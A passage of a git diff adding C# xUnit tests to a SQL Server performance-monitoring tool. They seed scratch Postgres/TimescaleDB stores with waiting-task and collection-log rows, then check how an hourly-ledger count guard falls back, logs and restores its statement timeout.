+        File.WriteAllText(scenarioPath, scenario.ToJsonString());
+        try
+        {
+            var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+            if (zone is not null)
+            {
+                psi.Environment["TZ"] = zone;
+            }
+
+            psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-compose-notice-harness.mjs"));
+            psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+            psi.ArgumentList.Add(scenarioPath);
+
+            Process proc;
+            try
+            {
+                proc = Process.Start(psi)!;
+            }
+            catch (Win32Exception)
+            {
+                return false;
+            }
+
+            using (proc)
+            {
+                var error = proc.StandardError.ReadToEndAsync();
+                var output = proc.StandardOutput.ReadToEnd().Trim();
+                if (!proc.WaitForExit(20000))
+                {
+                    proc.Kill(entireProcessTree: true);
+                    Assert.Fail("the compose notice harness did not finish in 20 s");
+                }
+
+                Assert.True(proc.ExitCode == 0, "the compose notice harness failed: " + error.Result);
+                using var doc = JsonDocument.Parse(output);
+                result = doc.RootElement.Clone();
+                return true;
+            }
+        }
+        finally
+        {
+            File.Delete(scenarioPath);
+        }
+    }
+
+    /// <summary>
+    /// A scratch store holding two servers' waiting_tasks rows, written every 30 minutes up to now: the recent
+    /// server's start 7 days back, and the quiet server holds one row 8 days back, then rows from 6 days back.
+    /// </summary>
+    private sealed class SeededStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private SeededStore(
+            ScratchPostgres scratch, NpgsqlDataSource dataSource, DateTime recentFirstRow, DateTime quietFirstRow, DateTime newServerAdded,
+            DateTime baselineFirstRow = default, DateTime seededAt = default, DateTime oldServerFirstRow = default)
+        {
+            _scratch = scratch;
+            DataSource = dataSource;
+            RecentFirstRow = recentFirstRow;
+            QuietFirstRow = quietFirstRow;
+            NewServerAdded = newServerAdded;
+            BaselineFirstRow = baselineFirstRow;
+            SeededAt = seededAt;
+            OldServerFirstRow = oldServerFirstRow;
+        }
+
+        /// <summary>The minute the store was seeded at: the "now" the old server's windows are measured back from
+        /// (<see cref="CreateOldServerAsync"/>).</summary>
+        public DateTime SeededAt { get; }
+
+        /// <summary>The oldest waiting_tasks row of the server first collected 90 days ago: the purge edge, 7 days
+        /// before <see cref="SeededAt"/>.</summary>
+        public DateTime OldServerFirstRow { get; }
+
+        /// <summary>When the server added 2 days ago was first collected: its registry row and first logged run.</summary>
+        public DateTime NewServerAdded { get; }
+
+        /// <summary>The oldest file_io_stats row of the server registered 100 days ago (<see cref="CreateBaselineFlooredAsync"/>).</summary>
+        public DateTime BaselineFirstRow { get; }
+
+        public NpgsqlDataSource DataSource { get; }
+
+        public DateTime RecentFirstRow { get; }
+
+        public DateTime QuietFirstRow { get; }
+
+        public static async Task<SeededStore> CreateAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live panel data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+                    await DarlingMcpTestData.RegisterServerAsync(connection, RecentServerId, RecentServerName, ct);
+                    await DarlingMcpTestData.RegisterServerAsync(connection, QuietServerId, QuietServerName, ct);
+
+                    var now = DateTime.UtcNow;
+                    var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                    var recentFirst = end.AddDays(-7);
+                    var quietFirst = end.AddDays(-8);
+
+                    await InsertEveryHalfHourAsync(connection, RecentServerId, RecentServerName, recentFirst, end, ct);
+                    await InsertEveryHalfHourAsync(connection, QuietServerId, QuietServerName, quietFirst, quietFirst, ct);
+                    await InsertEveryHalfHourAsync(connection, QuietServerId, QuietServerName, end.AddDays(-6), end, ct);
+                    await AddedAtAsync(connection, RecentServerId, recentFirst, ct);
+                    await AddedAtAsync(connection, QuietServerId, quietFirst, ct);
+
+                    /* Monitored for months and idle overnight: the purge left no row before the 7-day window, and
+                       the window's first waiting task came 5 hours in. */
+                    await DarlingMcpTestData.RegisterServerAsync(connection, IdleServerId, IdleServerName, ct);
+                    await AddedAtAsync(connection, IdleServerId, end.AddDays(-120), ct);
+                    await LogRunsAsync(connection, IdleServerId, IdleServerName, end.AddDays(-8), end, ct);
+                    await InsertEveryHalfHourAsync(connection, IdleServerId, IdleServerName, end.AddDays(-7).AddHours(5), end, ct);
+
+                    /* Collected for 30 days, and its first waiting task ever came 3 days ago. */
+                    await DarlingMcpTestData.RegisterServerAsync(connection, SparseServerId, SparseServerName, ct);
+                    await AddedAtAsync(connection, SparseServerId, end.AddDays(-30), ct);
+                    await LogRunsAsync(connection, SparseServerId, SparseServerName, end.AddDays(-30), end, ct);
+                    await InsertEveryHalfHourAsync(connection, SparseServerId, SparseServerName, end.AddDays(-3), end, ct);
+
+                    var newServerAdded = await AddNewServerAsync(connection, end, ct);
+
+                    return new SeededStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), recentFirst, quietFirst, newServerAdded);
+                }
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>
+        /// A store holding only two servers that stopped 10 days ago, with rows and runs before that, and the server
+        /// added 2 days ago: the fleet's start is the new server's.
+        /// </summary>
+        public static async Task<SeededStore> CreateStoppedFleetAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live panel data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+
+                var now = DateTime.UtcNow;
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                foreach (var (id, name) in new[] { (RecentServerId, "data-floor-stopped-a"), (QuietServerId, "data-floor-stopped-b") })
+                {
+                    await DarlingMcpTestData.RegisterServerAsync(connection, id, name, ct);
+                    await AddedAtAsync(connection, id, end.AddDays(-40), ct);
+                    await LogRunsAsync(connection, id, name, end.AddDays(-40), end.AddDays(-10), ct);
+                    await InsertEveryHalfHourAsync(connection, id, name, end.AddDays(-40), end.AddDays(-10), ct);
+                }
+
+                var newServerAdded = await AddNewServerAsync(connection, end, ct);
+                return new SeededStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), end.AddDays(-40), end.AddDays(-40), newServerAdded);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>
+        /// A store holding one server first collected 90 days ago: its collector's runs are in the run log for the last
+        /// 60 days (the log's own horizon, longer than the table's), and its waiting_tasks rows run from 7 days back
+        /// (the purge edge) to now, one every 30 minutes. A window 45 to 40 days back therefore holds logged runs and
+        /// no rows, wholly before the table's coverage.
+        /// </summary>
+        public static async Task<SeededStore> CreateOldServerAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live panel data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+
+                var now = DateTime.UtcNow;
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                var firstRow = end.AddDays(-7);
+                await DarlingMcpTestData.RegisterServerAsync(connection, OldServerId, OldServerName, ct);
+                await AddedAtAsync(connection, OldServerId, end.AddDays(-90), ct);
+                await LogRunsAsync(connection, OldServerId, OldServerName, end.AddDays(-60), end, ct);
+                await InsertEveryHalfHourAsync(connection, OldServerId, OldServerName, firstRow, end, ct);
+
+                return new SeededStore(
+                    scratch, NpgsqlDataSource.Create(scratch.ConnectionString), firstRow, firstRow, firstRow,
+                    seededAt: end, oldServerFirstRow: firstRow);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>
+        /// A store holding one server registered 100 days ago, whose file_io_stats rows run from 10 days back to now
+        /// (the collector writes one every 30 minutes; the purge has dropped everything older).
+        /// </summary>
+        public static async Task<SeededStore> CreateBaselineFlooredAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live panel data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+
+                var now = DateTime.UtcNow;
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                var firstRow = end.AddDays(-10);
+                await DarlingMcpTestData.RegisterServerAsync(connection, BaselineServerId, BaselineServerName, ct);
+                await AddedAtAsync(connection, BaselineServerId, end.AddDays(-100), ct);
+                await LogRunsAsync(connection, BaselineServerId, BaselineServerName, "file_io_stats", end.AddDays(-100), end, ct);
+
+                await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.file_io_stats
+    (collection_id, collection_time, server_id, server_name, database_name, file_name, num_of_reads, delta_reads, sample_interval_seconds)
+SELECT row_number() OVER (), t, $1, $2, 'FloorDb', 'FloorFile', 1000, 10, 1800
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+                insert.Parameters.AddWithValue(BaselineServerId);
+                insert.Parameters.AddWithValue(BaselineServerName);
+                insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstRow, DateTimeKind.Unspecified));
+                insert.Parameters.AddWithValue(DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+                await insert.ExecuteNonQueryAsync(ct);
+
+                return new SeededStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), firstRow, firstRow, firstRow, firstRow);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /* The server added 2 days ago: registered and first collected then, its first waiting task a day later. */
+        private static async Task<DateTime> AddNewServerAsync(NpgsqlConnection connection, DateTime end, CancellationToken ct)
+        {
+            var added = end.AddDays(-2);
+            await DarlingMcpTestData.RegisterServerAsync(connection, NewServerId, NewServerName, ct);
+            await AddedAtAsync(connection, NewServerId, added, ct);
+            await LogRunsAsync(connection, NewServerId, NewServerName, added, end, ct);
+            await InsertEveryHalfHourAsync(connection, NewServerId, NewServerName, end.AddDays(-1), end, ct);
+            return added;
+        }
+
+        /* The registry's created_date: the server's first successful connect, which the service writes once. */
+        private static async Task AddedAtAsync(NpgsqlConnection connection, int serverId, DateTime addedUtc, CancellationToken ct)
+        {
+            await using var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection);
+            update.Parameters.AddWithValue(serverId);
+            update.Parameters.AddWithValue(DateTime.SpecifyKind(addedUtc, DateTimeKind.Unspecified));
+            await update.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The waiting_tasks collector's runs in collection_log, every 30 minutes, whether or not anything waited. */
+        private static Task LogRunsAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct) =>
+            LogRunsAsync(connection, serverId, serverName, "waiting_tasks", firstUtc, lastUtc, ct);
+
+        private static async Task LogRunsAsync(
+            NpgsqlConnection connection, int serverId, string serverName, string collector, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log
+    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT
+    row_number() OVER (),
+    $1,
+    $2,
+    $5,
+    t,
+    12,
+    'SUCCESS',
+    0
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(lastUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(collector);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        private static async Task InsertEveryHalfHourAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.waiting_tasks
+    (collection_id, collection_time, server_id, server_name, wait_type, wait_duration_ms, database_name)
+SELECT
+    row_number() OVER (),
+    t,
+    $1,
+    $2,
+    'LCK_M_X',
+    250,
+    'FloorDb'
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(lastUtc, DateTimeKind.Unspecified));
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeHourlyEdgesLedgerGuardLiveTests.cs b/Darling/Darling.Tests/ComposeHourlyEdgesLedgerGuardLiveTests.cs
new file mode 100644
index 0000000000..bd4247817f
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeHourlyEdgesLedgerGuardLiveTests.cs
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: <see cref="DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync"/> over the hour ledger, against a real store and in
+/// the run's own transaction shape (REPEATABLE READ, then READ ONLY). Two states the count guard meets that are not a count:
+/// <list type="bullet">
+/// <item>A ledger that does not cover the window (its <c>counted_since</c> is after the window start): the guard answers -1,
+/// the runner returns no verdict and notes <see cref="ReadFallback.LedgerUncovered"/> with no log line, and the transaction is
+/// usable for the raw panel statement with the statement timeout put back.</item>
+/// <item>A store before V164 (its schema version is below <see cref="QueryStatsHourLedger.RungVersion"/>, and it has no ledger
+/// table): the runner reads the schema version after its savepoint, before the guard's SQL, so the guard never runs. It returns no
+/// verdict and notes <see cref="ReadFallback.GateFailed"/> with no log line, and the transaction is usable.</item>
+/// <item>A store at V164 or later whose ledger table is gone (renamed by hand): that is a real fault, not a store the migration has
+/// not reached. The guard faults inside its savepoint, the runner undoes it, returns no verdict, notes
+/// <see cref="ReadFallback.GateFailed"/> and logs the one Warning every other guard fault logs, and the transaction is usable.</item>
+/// </list>
+/// Each fact also says what is NOT recorded, because a fallback that logged a Warning per panel run would flood a store whose
+/// ledger simply has not caught up yet, and what IS recorded, because a store that lost a table must not go quiet.
+///
+/// <para><b>#1776 own-store</b>: mints a scratch database because it needs TimescaleDB's continuous aggregate and drops a
+/// table, so it is deliberately NOT in the <c>live-postgres</c> collection.</para>
+/// </summary>
+public sealed class ComposeHourlyEdgesLedgerGuardLiveTests
+{
+    private static readonly DateTime H1 = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime H2 = H1.AddHours(3);
+
+    private static readonly ComposeHourlyEdgesCandidate Candidate =
+        new("query_stats", TimescaleSupport.QueryStatsIntervalHourlyView, H1, H2);
+
+    [Fact]
+    public async Task ALedgerThatDoesNotCoverTheWindow_GivesNoVerdict_NotesLedgerUncovered_LogsNothing_AndLeavesTheTransactionUsable()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await CreateScratchAsync(ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var timeoutOutside = await TextAsync(connection, "SHOW statement_timeout", ct);
+
+            /* Control: counted_since far below the window and nothing in either count, so the comparison finds no pair that
+               disagrees and the same candidate, transaction shape and scope give a verdict and note nothing. */
+            await QueryStatsLedgerSeed.SetCountedSinceAsync(connection, QueryStatsLedgerSeed.Low, ct);
+            await using (var covered = await BeginSnapshotAsync(connection, ct))
+            {
+                var logger = new CapturingTestLogger();
+                using var scope = ReadScope.Open(logger);
+                var verdict = await DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync(connection, Candidate, null, 30, ct);
+
+                Assert.NotNull(verdict);
+                Assert.Equal("query_stats", verdict!.SourceTable);
+                Assert.Null(scope.Fallback);
+                await covered.RollbackAsync(ct);
+            }
+
+            /* The ledger starts counting one hour after the window starts: the window is uncovered. */
+            await QueryStatsLedgerSeed.SetCountedSinceAsync(connection, H1.AddHours(1), ct);
+            await using (var uncovered = await BeginSnapshotAsync(connection, ct))
+            {
+                var logger = new CapturingTestLogger();
+                using var scope = ReadScope.Open(logger);
+                var verdict = await DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync(connection, Candidate, null, 30, ct);
+
+                Assert.Null(verdict);
+                Assert.Equal(ReadFallback.LedgerUncovered, scope.Fallback);
+                Assert.Equal(ReadOutcome.FallbackRaw, ReadScope.Resolve(ReadOutcome.Ok, scope.Fallback));
+                Assert.True(logger.Lines.Count == 0, "an uncovered ledger is an expected state and logs nothing: " + logger.Joined);
+
+                /* The guard's 15 s timeout was put back before the early return, and the transaction still runs statements. */
+                Assert.Equal(timeoutOutside, await TextAsync(connection, "SHOW statement_timeout", ct));
+                Assert.Equal(1L, await ScalarAsync(connection, "SELECT 1", ct));
+                Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats", ct));
+                await uncovered.RollbackAsync(ct);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreBeforeTheLedger_ReadsItsVersion_NeverRunsTheGuard_NotesGateFailed_WithNoLogLine_AndLeavesTheTransactionUsable()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await CreateScratchAsync(ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* A store that has not reached V164 has neither ledger table, and its schema version is below the rung: the rung
+               stamps darling_schema_version in the same transaction as its tables, so the two go together. */
+            await ExecuteAsync(connection, $"DROP TABLE {QueryStatsHourLedger.StateTable}", ct);
+            await ExecuteAsync(connection, $"DROP TABLE {QueryStatsHourLedger.LedgerTable}", ct);
+            await ExecuteAsync(connection, $"DELETE FROM darling_schema_version WHERE version >= {QueryStatsHourLedger.RungVersion}", ct);
+            Assert.True(await ScalarAsync(connection, "SELECT COALESCE(MAX(version), 0) FROM darling_schema_version", ct) < QueryStatsHourLedger.RungVersion);
+
+            var timeoutOutside = await TextAsync(connection, "SHOW statement_timeout", ct);
+            await using var snapshot = await BeginSnapshotAsync(connection, ct);
+            var logger = new CapturingTestLogger();
+            using var scope = ReadScope.Open(logger);
+            var verdict = await DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync(connection, Candidate, null, 30, ct);
+
+            Assert.Null(verdict);
+            Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+            Assert.Equal(ReadOutcome.GateFailed, ReadScope.Resolve(ReadOutcome.Ok, scope.Fallback));
+            Assert.True(logger.Lines.Count == 0, "a store before V164 falls back with no log line at any level: " + logger.Joined);
+
+            /* The guard never ran, so nothing aborted the transaction and its statement timeout was never moved: the panel's raw
+               statement runs on it as it stands. */
+            Assert.Equal(timeoutOutside, await TextAsync(connection, "SHOW statement_timeout", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT 1", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats", ct));
+            await snapshot.RollbackAsync(ct);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AStoreAtTheRungWhoseLedgerTableIsGone_FaultsInTheSavepoint_NotesGateFailed_WithTheOneWarning_AndLeavesTheTransactionUsable()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await CreateScratchAsync(ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* The store is at the rung (its schema version says the ledger exists) but the ledger table was renamed by hand.
+               That is a fault, not a store the migration has not reached: it must log, and it must not be taken for the pre-V164
+               state. */
+            await ExecuteAsync(connection, $"ALTER TABLE {QueryStatsHourLedger.LedgerTable} RENAME TO query_stats_hour_ledger_renamed", ct);
+            Assert.True(await ScalarAsync(connection, "SELECT COALESCE(MAX(version), 0) FROM darling_schema_version", ct) >= QueryStatsHourLedger.RungVersion);
+
+            await using var snapshot = await BeginSnapshotAsync(connection, ct);
+            var logger = new CapturingTestLogger();
+            using var scope = ReadScope.Open(logger);
+            var verdict = await DarlingWebEndpoints.ResolveHourlyEdgesVerdictAsync(connection, Candidate, null, 30, ct);
+
+            Assert.Null(verdict);
+            Assert.Equal(ReadFallback.GateFailed, scope.Fallback);
+            Assert.Equal(ReadOutcome.GateFailed, ReadScope.Resolve(ReadOutcome.Ok, scope.Fallback));
+            Assert.True(logger.CountAtLevel(LogLevel.Warning) == 1, "a store at V164 or later that lost its ledger table warns once: " + logger.Joined);
+
+            /* The failed statement aborted the transaction; the rollback to the savepoint made it usable again, so the
+               panel's raw statement can run on it. */
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT 1", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats", ct));
+            await snapshot.RollbackAsync(ct);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, bodySucceeded);
+        }
+    }
+
+    private static async Task<ScratchPostgres> CreateScratchAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live hour-ledger runner tests.");
+        return await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+    }
+
+    /// <summary>Migrates the scratch store, makes the hourly rollup the guard reads and stops the TimescaleDB scheduler.</summary>
+    private static async Task PrepareStoreAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The hour-ledger runner tests need TimescaleDB: the guard reads a continuous aggregate.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await ExecuteAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+    }
+
+    /// <summary>The run's transaction shape: REPEATABLE READ, then READ ONLY.</summary>
+    private static async Task<NpgsqlTransaction> BeginSnapshotAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var transaction = await connection.BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead, ct);
+        await ExecuteAsync(connection, "SET TRANSACTION READ ONLY", ct);
+        return transaction;
+    }
+
+    private static Task CleanupAsync(ScratchPostgres scratch, bool bodySucceeded) =>
+        LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+        {
+            await using var probe = new NpgsqlCommand(
+                "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+            var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+            Assert.Equal(0L, schedulers);
+        });
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct));
+    }
+
+    private static async Task<string?> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToString(await command.ExecuteScalarAsync(ct));
+    }
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeHourlyEdgesRunnerTests.cs b/Darling/Darling.Tests/ComposeHourlyEdgesRunnerTests.cs
new file mode 100644
index 0000000000..30f170ac30
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeHourlyEdgesRunnerTests.cs
@@ -0,0 +1,286 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: the Custom Views runner runs the hourly-raw-edges count guard and passes its verdict. These pins read the
+/// runner's source (line endings normalized) because the guard's value is its order and its scope: the guard and the panel
+/// statement share one REPEATABLE READ READ ONLY transaction, the guard runs under its own shorter statement_timeout that is
+/// put back before the panel statement, the guard's scope is bound only from the normalized server scope, and any fault
+/// returns no verdict.
+/// </summary>
+public class ComposeHourlyEdgesRunnerTests
+{
+    private static string Source(params string[] relative) =>
+        File.ReadAllText(RepoFile.PathTo(relative)).Replace("\r\n", "\n");
+
+    private static string Web() => Source("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+
+    private static string Resolver()
+    {
+        var code = Web();
+        var at = code.IndexOf("internal static async Task<ComposeHourlyEdgesVerdict?> ResolveHourlyEdgesVerdictAsync(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "ResolveHourlyEdgesVerdictAsync not found");
+        var end = code.IndexOf("/// <summary>Runs a compiled composed query", at, StringComparison.Ordinal);
+        Assert.True(end > at);
+        return code[at..end];
+    }
+
+    [Fact]
+    public void TheGuardScope_IsBoundOnlyFromTheNormalizedServerScope()
+    {
+        var body = Resolver();
+
+        Assert.Contains("var scope = ComposeSourceRouter.NormalizeServerScope(serverScope);", body, StringComparison.Ordinal);
+        Assert.Contains("Value = scope is null ? DBNull.Value : scope.ToArray(),", body, StringComparison.Ordinal);
+        Assert.Equal(2, System.Text.RegularExpressions.Regex.Matches(body, @"\bserverScope\b").Count); // the parameter and the one normalize call
+        Assert.Contains("candidate.HourEndUtc, scope)", body.Replace("\n", " ").Replace("  ", " "), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGuardTimestampParameters_AreBoundNaive_BecauseNpgsqlRefusesKindUtcForTimestamp()
+    {
+        /* an hours-based panel gives the router Kind=Utc hour instants; they must be made Unspecified before the bind */
+        var body = Resolver();
+        Assert.Contains("Value = DateTime.SpecifyKind(candidate.HourStartUtc, DateTimeKind.Unspecified)", body, StringComparison.Ordinal);
+        Assert.Contains("Value = DateTime.SpecifyKind(candidate.HourEndUtc, DateTimeKind.Unspecified)", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("Value = candidate.Hour", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGuardTimeout_IsSetBeforeTheGuard_AndRestoredAfterItAndBeforeThePanel()
+    {
+        var body = Resolver();
+        var set = body.IndexOf("HourlyEdgesGuardTimeoutSql(guardSeconds), McpCommandDeadlines", StringComparison.Ordinal);
+
+        /* The guard's own statement: the schema-version probe (#4605) also executes a scalar, but ahead of the timeout, by design. */
+        var guard = body.IndexOf("guard.ExecuteScalarAsync(", StringComparison.Ordinal);
+        var restore = body.IndexOf("HourlyEdgesRestoreTimeoutSql, McpCommandDeadlines", StringComparison.Ordinal);
+
+        Assert.True(set > 0 && guard > set && restore > guard, "SET LOCAL statement_timeout, then the guard, then the restore");
+        Assert.DoesNotContain("SET LOCAL statement_timeout = '15s'", Web(), StringComparison.Ordinal);
+        Assert.Contains("SET LOCAL statement_timeout = DEFAULT", Web(), StringComparison.Ordinal);
+
+        var core = Web();
